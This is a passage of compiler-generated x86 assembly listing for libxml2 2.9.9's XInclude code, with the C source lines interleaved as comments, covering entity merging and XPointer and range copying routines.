push ecx
call _xmlGetDocEntity
add esp, 8
mov DWORD PTR _prev$[ebp], eax
; 1295 : if (prev != NULL) {
cmp DWORD PTR _prev$[ebp], 0
je $LN13@xmlXInclud
; 1296 : if (ent->etype != prev->etype)
mov edx, DWORD PTR _ent$[ebp]
mov eax, DWORD PTR _prev$[ebp]
mov ecx, DWORD PTR [edx+48]
cmp ecx, DWORD PTR [eax+48]
je SHORT $LN16@xmlXInclud
; 1297 : goto error;
jmp $error$31
$LN16@xmlXInclud:
; 1298 :
; 1299 : if ((ent->SystemID != NULL) && (prev->SystemID != NULL)) {
mov edx, DWORD PTR _ent$[ebp]
cmp DWORD PTR [edx+56], 0
je SHORT $LN17@xmlXInclud
mov eax, DWORD PTR _prev$[ebp]
cmp DWORD PTR [eax+56], 0
je SHORT $LN17@xmlXInclud
; 1300 : if (!xmlStrEqual(ent->SystemID, prev->SystemID))
mov ecx, DWORD PTR _prev$[ebp]
mov edx, DWORD PTR [ecx+56]
push edx
mov eax, DWORD PTR _ent$[ebp]
mov ecx, DWORD PTR [eax+56]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN19@xmlXInclud
; 1301 : goto error;
jmp SHORT $error$31
$LN19@xmlXInclud:
; 1302 : } else if ((ent->ExternalID != NULL) &&
jmp SHORT $LN13@xmlXInclud
$LN17@xmlXInclud:
mov edx, DWORD PTR _ent$[ebp]
cmp DWORD PTR [edx+52], 0
je SHORT $LN20@xmlXInclud
mov eax, DWORD PTR _prev$[ebp]
cmp DWORD PTR [eax+52], 0
je SHORT $LN20@xmlXInclud
; 1303 : (prev->ExternalID != NULL)) {
; 1304 : if (!xmlStrEqual(ent->ExternalID, prev->ExternalID))
mov ecx, DWORD PTR _prev$[ebp]
mov edx, DWORD PTR [ecx+52]
push edx
mov eax, DWORD PTR _ent$[ebp]
mov ecx, DWORD PTR [eax+52]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN22@xmlXInclud
; 1305 : goto error;
jmp SHORT $error$31
$LN22@xmlXInclud:
; 1306 : } else if ((ent->content != NULL) && (prev->content != NULL)) {
jmp SHORT $LN13@xmlXInclud
$LN20@xmlXInclud:
mov edx, DWORD PTR _ent$[ebp]
cmp DWORD PTR [edx+40], 0
je SHORT $LN23@xmlXInclud
mov eax, DWORD PTR _prev$[ebp]
cmp DWORD PTR [eax+40], 0
je SHORT $LN23@xmlXInclud
; 1307 : if (!xmlStrEqual(ent->content, prev->content))
mov ecx, DWORD PTR _prev$[ebp]
mov edx, DWORD PTR [ecx+40]
push edx
mov eax, DWORD PTR _ent$[ebp]
mov ecx, DWORD PTR [eax+40]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN25@xmlXInclud
; 1308 : goto error;
jmp SHORT $error$31
$LN25@xmlXInclud:
; 1309 : } else {
jmp SHORT $LN13@xmlXInclud
$LN23@xmlXInclud:
; 1310 : goto error;
jmp SHORT $error$31
$LN13@xmlXInclud:
; 1311 : }
; 1312 :
; 1313 : }
; 1314 : }
; 1315 : return;
jmp SHORT $LN1@xmlXInclud
$error$31:
; 1316 : error:
; 1317 : switch (ent->etype) {
mov edx, DWORD PTR _ent$[ebp]
mov eax, DWORD PTR [edx+48]
mov DWORD PTR tv164[ebp], eax
mov ecx, DWORD PTR tv164[ebp]
sub ecx, 1
mov DWORD PTR tv164[ebp], ecx
cmp DWORD PTR tv164[ebp], 5
ja SHORT $LN4@xmlXInclud
mov edx, DWORD PTR tv164[ebp]
movzx eax, BYTE PTR $LN29@xmlXInclud[edx]
jmp DWORD PTR $LN30@xmlXInclud[eax*4]
$LN26@xmlXInclud:
; 1318 : case XML_INTERNAL_PARAMETER_ENTITY:
; 1319 : case XML_EXTERNAL_PARAMETER_ENTITY:
; 1320 : case XML_INTERNAL_PREDEFINED_ENTITY:
; 1321 : case XML_INTERNAL_GENERAL_ENTITY:
; 1322 : case XML_EXTERNAL_GENERAL_PARSED_ENTITY:
; 1323 : return;
jmp SHORT $LN1@xmlXInclud
$LN4@xmlXInclud:
; 1324 : case XML_EXTERNAL_GENERAL_UNPARSED_ENTITY:
; 1325 : break;
; 1326 : }
; 1327 : xmlXIncludeErr(ctxt, (xmlNodePtr) ent, XML_XINCLUDE_ENTITY_DEF_MISMATCH,
mov ecx, DWORD PTR _ent$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
push OFFSET ??_C@_0CH@PEJDIBGL@mismatch?5in?5redefinition?5of?5ent@
push 1602 ; 00000642H
mov eax, DWORD PTR _ent$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
$LN1@xmlXInclud:
; 1328 : "mismatch in redefinition of entity %s\n",
; 1329 : ent->name);
; 1330 : }
add esp, 32 ; 00000020H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
$LN30@xmlXInclud:
DD $LN26@xmlXInclud
DD $LN4@xmlXInclud
$LN29@xmlXInclud:
DB 0
DB 0
DB 1
DB 0
DB 0
DB 0
_xmlXIncludeMergeEntity ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeCopyXPointer
_TEXT SEGMENT
tv92 = -40 ; size = 4
tv85 = -36 ; size = 4
tv71 = -32 ; size = 4
_set$1 = -28 ; size = 4
_cur$2 = -24 ; size = 4
_tmp$3 = -20 ; size = 4
_set$4 = -16 ; size = 4
_i$ = -12 ; size = 4
_last$ = -8 ; size = 4
_list$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_target$ = 12 ; size = 4
_source$ = 16 ; size = 4
_obj$ = 20 ; size = 4
_xmlXIncludeCopyXPointer PROC ; COMDAT
; 1125 : xmlDocPtr source, xmlXPathObjectPtr obj) {
push ebp
mov ebp, esp
sub esp, 40 ; 00000028H
push edi
lea edi, DWORD PTR [ebp-40]
mov ecx, 10 ; 0000000aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 1126 : xmlNodePtr list = NULL, last = NULL;
mov DWORD PTR _list$[ebp], 0
mov DWORD PTR _last$[ebp], 0
; 1127 : int i;
; 1128 :
; 1129 : if (source == NULL)
cmp DWORD PTR _source$[ebp], 0
jne SHORT $LN18@xmlXInclud
; 1130 : source = ctxt->doc;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax]
mov DWORD PTR _source$[ebp], ecx
$LN18@xmlXInclud:
; 1131 : if ((ctxt == NULL) || (target == NULL) || (source == NULL) ||
cmp DWORD PTR _ctxt$[ebp], 0
je SHORT $LN20@xmlXInclud
cmp DWORD PTR _target$[ebp], 0
je SHORT $LN20@xmlXInclud
cmp DWORD PTR _source$[ebp], 0
je SHORT $LN20@xmlXInclud
cmp DWORD PTR _obj$[ebp], 0
jne SHORT $LN19@xmlXInclud
$LN20@xmlXInclud:
; 1132 : (obj == NULL))
; 1133 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN19@xmlXInclud:
; 1134 : switch (obj->type) {
mov edx, DWORD PTR _obj$[ebp]
mov eax, DWORD PTR [edx]
mov DWORD PTR tv71[ebp], eax
cmp DWORD PTR tv71[ebp], 1
je SHORT $LN21@xmlXInclud
cmp DWORD PTR tv71[ebp], 6
je $LN39@xmlXInclud
cmp DWORD PTR tv71[ebp], 7
je $LN34@xmlXInclud
jmp $LN2@xmlXInclud
$LN21@xmlXInclud:
; 1135 : case XPATH_NODESET: {
; 1136 : xmlNodeSetPtr set = obj->nodesetval;
mov ecx, DWORD PTR _obj$[ebp]
mov edx, DWORD PTR [ecx+4]
mov DWORD PTR _set$4[ebp], edx
; 1137 : if (set == NULL)
cmp DWORD PTR _set$4[ebp], 0
jne SHORT $LN22@xmlXInclud
; 1138 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN22@xmlXInclud:
; 1139 : for (i = 0;i < set->nodeNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN6@xmlXInclud
$LN4@xmlXInclud:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN6@xmlXInclud:
mov ecx, DWORD PTR _set$4[ebp]
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR [ecx]
jge $LN5@xmlXInclud
; 1140 : if (set->nodeTab[i] == NULL)
mov eax, DWORD PTR _set$4[ebp]
mov ecx, DWORD PTR [eax+8]
mov edx, DWORD PTR _i$[ebp]
cmp DWORD PTR [ecx+edx*4], 0
jne SHORT $LN23@xmlXInclud
; 1141 : continue;
jmp SHORT $LN4@xmlXInclud
$LN23@xmlXInclud:
; 1142 : switch (set->nodeTab[i]->type) {
mov eax, DWORD PTR _set$4[ebp]
mov ecx, DWORD PTR [eax+8]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+4]
mov DWORD PTR tv85[ebp], ecx
mov edx, DWORD PTR tv85[ebp]
sub edx, 2
mov DWORD PTR tv85[ebp], edx
cmp DWORD PTR tv85[ebp], 17 ; 00000011H
ja $LN7@xmlXInclud
mov eax, DWORD PTR tv85[ebp]
movzx ecx, BYTE PTR $LN45@xmlXInclud[eax]
jmp DWORD PTR $LN46@xmlXInclud[ecx*4]
; 1143 : case XML_TEXT_NODE:
; 1144 : case XML_CDATA_SECTION_NODE:
; 1145 : case XML_ELEMENT_NODE:
; 1146 : case XML_ENTITY_REF_NODE:
; 1147 : case XML_ENTITY_NODE:
; 1148 : case XML_PI_NODE:
; 1149 : case XML_COMMENT_NODE:
; 1150 : case XML_DOCUMENT_NODE:
; 1151 : case XML_HTML_DOCUMENT_NODE:
; 1152 : #ifdef LIBXML_DOCB_ENABLED
; 1153 : case XML_DOCB_DOCUMENT_NODE:
; 1154 : #endif
; 1155 : case XML_XINCLUDE_END:
; 1156 : break;
jmp $LN7@xmlXInclud
$LN25@xmlXInclud:
; 1157 : case XML_XINCLUDE_START: {
; 1158 : xmlNodePtr tmp, cur = set->nodeTab[i];
mov edx, DWORD PTR _set$4[ebp]
mov eax, DWORD PTR [edx+8]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov DWORD PTR _cur$2[ebp], edx
; 1159 :
; 1160 : cur = cur->next;
mov eax, DWORD PTR _cur$2[ebp]
mov ecx, DWORD PTR [eax+24]
mov DWORD PTR _cur$2[ebp], ecx
$LL9@xmlXInclud:
; 1161 : while (cur != NULL) {
cmp DWORD PTR _cur$2[ebp], 0
je SHORT $LN10@xmlXInclud
; 1162 : switch(cur->type) {
mov edx, DWORD PTR _cur$2[ebp]
mov eax, DWORD PTR [edx+4]
mov DWORD PTR tv92[ebp], eax
cmp DWORD PTR tv92[ebp], 1
je SHORT $LN26@xmlXInclud
cmp DWORD PTR tv92[ebp], 2
jle SHORT $LN11@xmlXInclud
cmp DWORD PTR tv92[ebp], 8
jle SHORT $LN26@xmlXInclud
jmp SHORT $LN11@xmlXInclud
$LN26@xmlXInclud:
; 1163 : case XML_TEXT_NODE:
; 1164 : case XML_CDATA_SECTION_NODE:
; 1165 : case XML_ELEMENT_NODE:
; 1166 : case XML_ENTITY_REF_NODE:
; 1167 : case XML_ENTITY_NODE:
; 1168 : case XML_PI_NODE:
; 1169 : case XML_COMMENT_NODE:
; 1170 : tmp = xmlXIncludeCopyNode(ctxt, target,
mov ecx, DWORD PTR _cur$2[ebp]
push ecx
mov edx, DWORD PTR _source$[ebp]
push edx
mov eax, DWORD PTR _target$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeCopyNode
add esp, 16 ; 00000010H
mov DWORD PTR _tmp$3[ebp], eax
; 1171 : source, cur);
; 1172 : if (last == NULL) {
cmp DWORD PTR _last$[ebp], 0
jne SHORT $LN27@xmlXInclud
; 1173 : list = last = tmp;
mov edx, DWORD PTR _tmp$3[ebp]
mov DWORD PTR _last$[ebp], edx
mov eax, DWORD PTR _last$[ebp]
mov DWORD PTR _list$[ebp], eax
; 1174 : } else {
jmp SHORT $LN28@xmlXInclud
$LN27@xmlXInclud:
; 1175 : xmlAddNextSibling(last, tmp);
mov ecx, DWORD PTR _tmp$3[ebp]
push ecx
mov edx, DWORD PTR _last$[ebp]
push edx
call _xmlAddNextSibling
add esp, 8
; 1176 : last = tmp;
mov eax, DWORD PTR _tmp$3[ebp]
mov DWORD PTR _last$[ebp], eax
$LN28@xmlXInclud:
; 1177 : }
; 1178 : cur = cur->next;
mov ecx, DWORD PTR _cur$2[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _cur$2[ebp], edx
; 1179 : continue;
jmp SHORT $LL9@xmlXInclud
$LN11@xmlXInclud:
; 1180 : default:
; 1181 : break;
; 1182 : }
; 1183 : break;
jmp SHORT $LN10@xmlXInclud
; 1184 : }
jmp SHORT $LL9@xmlXInclud
$LN10@xmlXInclud:
; 1185 : continue;
jmp $LN4@xmlXInclud
$LN30@xmlXInclud:
; 1186 : }
; 1187 : case XML_ATTRIBUTE_NODE:
; 1188 : case XML_NAMESPACE_DECL:
; 1189 : case XML_DOCUMENT_TYPE_NODE:
; 1190 : case XML_DOCUMENT_FRAG_NODE:
; 1191 : case XML_NOTATION_NODE:
; 1192 : case XML_DTD_NODE:
; 1193 : case XML_ELEMENT_DECL:
; 1194 : case XML_ATTRIBUTE_DECL:
; 1195 : case XML_ENTITY_DECL:
; 1196 : continue; /* for */
jmp $LN4@xmlXInclud
$LN7@xmlXInclud:
; 1197 : }
; 1198 : if (last == NULL)
cmp DWORD PTR _last$[ebp], 0
jne SHORT $LN31@xmlXInclud
; 1199 : list = last = xmlXIncludeCopyNode(ctxt, target, source,
mov eax, DWORD PTR _set$4[ebp]
mov ecx, DWORD PTR [eax+8]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
push eax
mov ecx, DWORD PTR _source$[ebp]
push ecx
mov edx, DWORD PTR _target$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeCopyNode
add esp, 16 ; 00000010H
mov DWORD PTR _last$[ebp], eax
mov ecx, DWORD PTR _last$[ebp]
mov DWORD PTR _list$[ebp], ecx
jmp SHORT $LN32@xmlXInclud
$LN31@xmlXInclud:
; 1200 : set->nodeTab[i]);
; 1201 : else {
; 1202 : xmlAddNextSibling(last,
mov edx, DWORD PTR _set$4[ebp]
mov eax, DWORD PTR [edx+8]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
push edx
mov eax, DWORD PTR _source$[ebp]
push eax
mov ecx, DWORD PTR _target$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeCopyNode
add esp, 16 ; 00000010H
push eax
mov eax, DWORD PTR _last$[ebp]
push eax
call _xmlAddNextSibling
add esp, 8
; 1203 : xmlXIncludeCopyNode(ctxt, target, source,
; 1204 : set->nodeTab[i]));
; 1205 : if (last->next != NULL)
mov ecx, DWORD PTR _last$[ebp]
cmp DWORD PTR [ecx+24], 0
je SHORT $LN32@xmlXInclud
; 1206 : last = last->next;
mov edx, DWORD PTR _last$[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _last$[ebp], eax
$LN32@xmlXInclud:
; 1207 : }
; 1208 : }
jmp $LN4@xmlXInclud
$LN5@xmlXInclud:
; 1209 : break;
jmp $LN2@xmlXInclud
$LN34@xmlXInclud:
; 1210 : }
; 1211 : #ifdef LIBXML_XPTR_ENABLED
; 1212 : case XPATH_LOCATIONSET: {
; 1213 : xmlLocationSetPtr set = (xmlLocationSetPtr) obj->user;
mov ecx, DWORD PTR _obj$[ebp]
mov edx, DWORD PTR [ecx+28]
mov DWORD PTR _set$1[ebp], edx
; 1214 : if (set == NULL)
cmp DWORD PTR _set$1[ebp], 0
jne SHORT $LN35@xmlXInclud
; 1215 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN35@xmlXInclud:
; 1216 : for (i = 0;i < set->locNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN15@xmlXInclud
$LN13@xmlXInclud:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN15@xmlXInclud:
mov ecx, DWORD PTR _set$1[ebp]
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR [ecx]
jge SHORT $LN14@xmlXInclud
; 1217 : if (last == NULL)
cmp DWORD PTR _last$[ebp], 0
jne SHORT $LN36@xmlXInclud
; 1218 : list = last = xmlXIncludeCopyXPointer(ctxt, target, source,
mov eax, DWORD PTR _set$1[ebp]
mov ecx, DWORD PTR [eax+8]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
push eax
mov ecx, DWORD PTR _source$[ebp]
push ecx
mov edx, DWORD PTR _target$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeCopyXPointer
add esp, 16 ; 00000010H
mov DWORD PTR _last$[ebp], eax
mov ecx, DWORD PTR _last$[ebp]
mov DWORD PTR _list$[ebp], ecx
jmp SHORT $LN37@xmlXInclud
$LN36@xmlXInclud:
; 1219 : set->locTab[i]);
; 1220 : else
; 1221 : xmlAddNextSibling(last,
mov edx, DWORD PTR _set$1[ebp]
mov eax, DWORD PTR [edx+8]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
push edx
mov eax, DWORD PTR _source$[ebp]
push eax
mov ecx, DWORD PTR _target$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeCopyXPointer
add esp, 16 ; 00000010H
push eax
mov eax, DWORD PTR _last$[ebp]
push eax
call _xmlAddNextSibling
add esp, 8
$LN37@xmlXInclud:
; 1222 : xmlXIncludeCopyXPointer(ctxt, target, source,
; 1223 : set->locTab[i]));
; 1224 : if (last != NULL) {
cmp DWORD PTR _last$[ebp], 0
je SHORT $LN38@xmlXInclud
$LL16@xmlXInclud:
; 1225 : while (last->next != NULL)
mov ecx, DWORD PTR _last$[ebp]
cmp DWORD PTR [ecx+24], 0
je SHORT $LN38@xmlXInclud
; 1226 : last = last->next;
mov edx, DWORD PTR _last$[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _last$[ebp], eax
jmp SHORT $LL16@xmlXInclud
$LN38@xmlXInclud:
; 1227 : }
; 1228 : }
jmp $LN13@xmlXInclud
$LN14@xmlXInclud:
; 1229 : break;
jmp SHORT $LN2@xmlXInclud
$LN39@xmlXInclud:
; 1230 : }
; 1231 : case XPATH_RANGE:
; 1232 : return(xmlXIncludeCopyRange(ctxt, target, source, obj));
mov ecx, DWORD PTR _obj$[ebp]
push ecx
mov edx, DWORD PTR _source$[ebp]
push edx
mov eax, DWORD PTR _target$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeCopyRange
add esp, 16 ; 00000010H
jmp SHORT $LN1@xmlXInclud
$LN2@xmlXInclud:
; 1233 : #endif
; 1234 : case XPATH_POINT:
; 1235 : /* points are ignored in XInclude */
; 1236 : break;
; 1237 : default:
; 1238 : break;
; 1239 : }
; 1240 : return(list);
mov eax, DWORD PTR _list$[ebp]
$LN1@xmlXInclud:
; 1241 : }
pop edi
add esp, 40 ; 00000028H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
$LN46@xmlXInclud:
DD $LN30@xmlXInclud
DD $LN25@xmlXInclud
DD $LN7@xmlXInclud
$LN45@xmlXInclud:
DB 0
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
DB 0
DB 0
DB 0
DB 2
DB 0
DB 0
DB 0
DB 0
DB 0
DB 1
_xmlXIncludeCopyXPointer ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeCopyRange
_TEXT SEGMENT
tv204 = -80 ; size = 4
_content$1 = -76 ; size = 4
_len$2 = -72 ; size = 4
_content$3 = -68 ; size = 4
_endFlag$ = -64 ; size = 4
_endLevel$ = -60 ; size = 4
_lastLevel$ = -56 ; size = 4
_level$ = -48 ; size = 4
_index2$ = -40 ; size = 4
_index1$ = -36 ; size = 4
_end$ = -32 ; size = 4
_cur$ = -28 ; size = 4
_start$ = -24 ; size = 4
_tmp2$ = -20 ; size = 4
_tmp$ = -16 ; size = 4
_listParent$ = -12 ; size = 4
_last$ = -8 ; size = 4
_list$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_target$ = 12 ; size = 4
_source$ = 16 ; size = 4
_range$ = 20 ; size = 4
_xmlXIncludeCopyRange PROC ; COMDAT
; 911 : xmlDocPtr source, xmlXPathObjectPtr range) {
push ebp
mov ebp, esp
sub esp, 80 ; 00000050H
push edi
lea edi, DWORD PTR [ebp-80]
mov ecx, 20 ; 00000014H
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 912 : /* pointers to generated nodes */
; 913 : xmlNodePtr list = NULL, last = NULL, listParent = NULL;
mov DWORD PTR _list$[ebp], 0
mov DWORD PTR _last$[ebp], 0
mov DWORD PTR _listParent$[ebp], 0
; 914 : xmlNodePtr tmp, tmp2;
; 915 : /* pointers to traversal nodes */
; 916 : xmlNodePtr start, cur, end;
; 917 : int index1, index2;
; 918 : int level = 0, lastLevel = 0, endLevel = 0, endFlag = 0;
mov DWORD PTR _level$[ebp], 0
mov DWORD PTR _lastLevel$[ebp], 0
mov DWORD PTR _endLevel$[ebp], 0
mov DWORD PTR _endFlag$[ebp], 0
; 919 :
; 920 : if ((ctxt == NULL) || (target == NULL) || (source == NULL) ||
cmp DWORD PTR _ctxt$[ebp], 0
je SHORT $LN11@xmlXInclud
cmp DWORD PTR _target$[ebp], 0
je SHORT $LN11@xmlXInclud
cmp DWORD PTR _source$[ebp], 0
je SHORT $LN11@xmlXInclud
cmp DWORD PTR _range$[ebp], 0
jne SHORT $LN10@xmlXInclud
$LN11@xmlXInclud:
; 921 : (range == NULL))
; 922 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN10@xmlXInclud:
; 923 : if (range->type != XPATH_RANGE)
mov eax, DWORD PTR _range$[ebp]
cmp DWORD PTR [eax], 6
je SHORT $LN12@xmlXInclud
; 924 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN12@xmlXInclud:
; 925 : start = (xmlNodePtr) range->user;
mov ecx, DWORD PTR _range$[ebp]
mov edx, DWORD PTR [ecx+28]
mov DWORD PTR _start$[ebp], edx
; 926 :
; 927 : if ((start == NULL) || (start->type == XML_NAMESPACE_DECL))
cmp DWORD PTR _start$[ebp], 0
je SHORT $LN14@xmlXInclud
mov eax, DWORD PTR _start$[ebp]
cmp DWORD PTR [eax+4], 18 ; 00000012H
jne SHORT $LN13@xmlXInclud
$LN14@xmlXInclud:
; 928 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN13@xmlXInclud:
; 929 : end = range->user2;
mov ecx, DWORD PTR _range$[ebp]
mov edx, DWORD PTR [ecx+36]
mov DWORD PTR _end$[ebp], edx
; 930 : if (end == NULL)
cmp DWORD PTR _end$[ebp], 0
jne SHORT $LN15@xmlXInclud
; 931 : return(xmlDocCopyNode(start, target, 1));
push 1
mov eax, DWORD PTR _target$[ebp]
push eax
mov ecx, DWORD PTR _start$[ebp]
push ecx
call _xmlDocCopyNode
add esp, 12 ; 0000000cH
jmp $LN1@xmlXInclud
$LN15@xmlXInclud:
; 932 : if (end->type == XML_NAMESPACE_DECL)
mov edx, DWORD PTR _end$[ebp]
cmp DWORD PTR [edx+4], 18 ; 00000012H
jne SHORT $LN16@xmlXInclud
; 933 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN16@xmlXInclud:
; 934 :
; 935 : cur = start;
mov eax, DWORD PTR _start$[ebp]
mov DWORD PTR _cur$[ebp], eax
; 936 : index1 = range->index;
mov ecx, DWORD PTR _range$[ebp]
mov edx, DWORD PTR [ecx+32]
mov DWORD PTR _index1$[ebp], edx
; 937 : index2 = range->index2;
mov eax, DWORD PTR _range$[ebp]
mov ecx, DWORD PTR [eax+40]
mov DWORD PTR _index2$[ebp], ecx
$LN2@xmlXInclud:
; 938 : /*
; 939 : * level is depth of the current node under consideration
; 940 : * list is the pointer to the root of the output tree
; 941 : * listParent is a pointer to the parent of output tree (within
; 942 : the included file) in case we need to add another level
; 943 : * last is a pointer to the last node added to the output tree
; 944 : * lastLevel is the depth of last (relative to the root)
; 945 : */
; 946 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je $LN3@xmlXInclud
; 947 : /*
; 948 : * Check if our output tree needs a parent
; 949 : */
; 950 : if (level < 0) {
cmp DWORD PTR _level$[ebp], 0
jge SHORT $LN6@xmlXInclud
$LN4@xmlXInclud:
; 951 : while (level < 0) {
cmp DWORD PTR _level$[ebp], 0
jge SHORT $LN5@xmlXInclud
; 952 : /* copy must include namespaces and properties */
; 953 : tmp2 = xmlDocCopyNode(listParent, target, 2);
push 2
mov edx, DWORD PTR _target$[ebp]
push edx
mov eax, DWORD PTR _listParent$[ebp]
push eax
call _xmlDocCopyNode
add esp, 12 ; 0000000cH
mov DWORD PTR _tmp2$[ebp], eax
; 954 : xmlAddChild(tmp2, list);
mov ecx, DWORD PTR _list$[ebp]
push ecx
mov edx, DWORD PTR _tmp2$[ebp]
push edx
call _xmlAddChild
add esp, 8
; 955 : list = tmp2;
mov eax, DWORD PTR _tmp2$[ebp]
mov DWORD PTR _list$[ebp], eax
; 956 : listParent = listParent->parent;
mov ecx, DWORD PTR _listParent$[ebp]
mov edx, DWORD PTR [ecx+20]
mov DWORD PTR _listParent$[ebp], edx
; 957 : level++;
mov eax, DWORD PTR _level$[ebp]
add eax, 1
mov DWORD PTR _level$[ebp], eax
; 958 : }
jmp SHORT $LN4@xmlXInclud
$LN5@xmlXInclud:
; 959 : last = list;
mov ecx, DWORD PTR _list$[ebp]
mov DWORD PTR _last$[ebp], ecx
; 960 : lastLevel = 0;
mov DWORD PTR _lastLevel$[ebp], 0
$LN6@xmlXInclud:
; 961 : }
; 962 : /*
; 963 : * Check whether we need to change our insertion point
; 964 : */
; 965 : while (level < lastLevel) {
mov edx, DWORD PTR _level$[ebp]
cmp edx, DWORD PTR _lastLevel$[ebp]
jge SHORT $LN7@xmlXInclud
; 966 : last = last->parent;
mov eax, DWORD PTR _last$[ebp]
mov ecx, DWORD PTR [eax+20]
mov DWORD PTR _last$[ebp], ecx
; 967 : lastLevel --;
mov edx, DWORD PTR _lastLevel$[ebp]
sub edx, 1
mov DWORD PTR _lastLevel$[ebp], edx
; 968 : }
jmp SHORT $LN6@xmlXInclud
$LN7@xmlXInclud:
; 969 : if (cur == end) { /* Are we at the end of the range? */
mov eax, DWORD PTR _cur$[ebp]
cmp eax, DWORD PTR _end$[ebp]
jne $LN18@xmlXInclud
; 970 : if (cur->type == XML_TEXT_NODE) {
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+4], 3
jne $LN20@xmlXInclud
; 971 : const xmlChar *content = cur->content;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+40]
mov DWORD PTR _content$3[ebp], eax
; 972 : int len;
; 973 :
; 974 : if (content == NULL) {
cmp DWORD PTR _content$3[ebp], 0
jne SHORT $LN22@xmlXInclud
; 975 : tmp = xmlNewTextLen(NULL, 0);
push 0
push 0
call _xmlNewTextLen
add esp, 8
mov DWORD PTR _tmp$[ebp], eax
; 976 : } else {
jmp SHORT $LN23@xmlXInclud
$LN22@xmlXInclud:
; 977 : len = index2;
mov ecx, DWORD PTR _index2$[ebp]
mov DWORD PTR _len$2[ebp], ecx
; 978 : if ((cur == start) && (index1 > 1)) {
mov edx, DWORD PTR _cur$[ebp]
cmp edx, DWORD PTR _start$[ebp]
jne SHORT $LN24@xmlXInclud
cmp DWORD PTR _index1$[ebp], 1
jle SHORT $LN24@xmlXInclud
; 979 : content += (index1 - 1);
mov eax, DWORD PTR _index1$[ebp]
mov ecx, DWORD PTR _content$3[ebp]
lea edx, DWORD PTR [ecx+eax-1]
mov DWORD PTR _content$3[ebp], edx
; 980 : len -= (index1 - 1);
mov eax, DWORD PTR _index1$[ebp]
sub eax, 1
mov ecx, DWORD PTR _len$2[ebp]
sub ecx, eax
mov DWORD PTR _len$2[ebp], ecx
; 981 : } else {
jmp SHORT $LN25@xmlXInclud
$LN24@xmlXInclud:
; 982 : len = index2;
mov edx, DWORD PTR _index2$[ebp]
mov DWORD PTR _len$2[ebp], edx
$LN25@xmlXInclud:
; 983 : }
; 984 : tmp = xmlNewTextLen(content, len);
mov eax, DWORD PTR _len$2[ebp]
push eax
mov ecx, DWORD PTR _content$3[ebp]
push ecx
call _xmlNewTextLen
add esp, 8
mov DWORD PTR _tmp$[ebp], eax
$LN23@xmlXInclud:
; 985 : }
; 986 : /* single sub text node selection */
; 987 : if (list == NULL)
cmp DWORD PTR _list$[ebp], 0
jne SHORT $LN26@xmlXInclud
; 988 : return(tmp);
mov eax, DWORD PTR _tmp$[ebp]
jmp $LN1@xmlXInclud
$LN26@xmlXInclud:
; 989 : /* prune and return full set */
; 990 : if (level == lastLevel)
mov edx, DWORD PTR _level$[ebp]
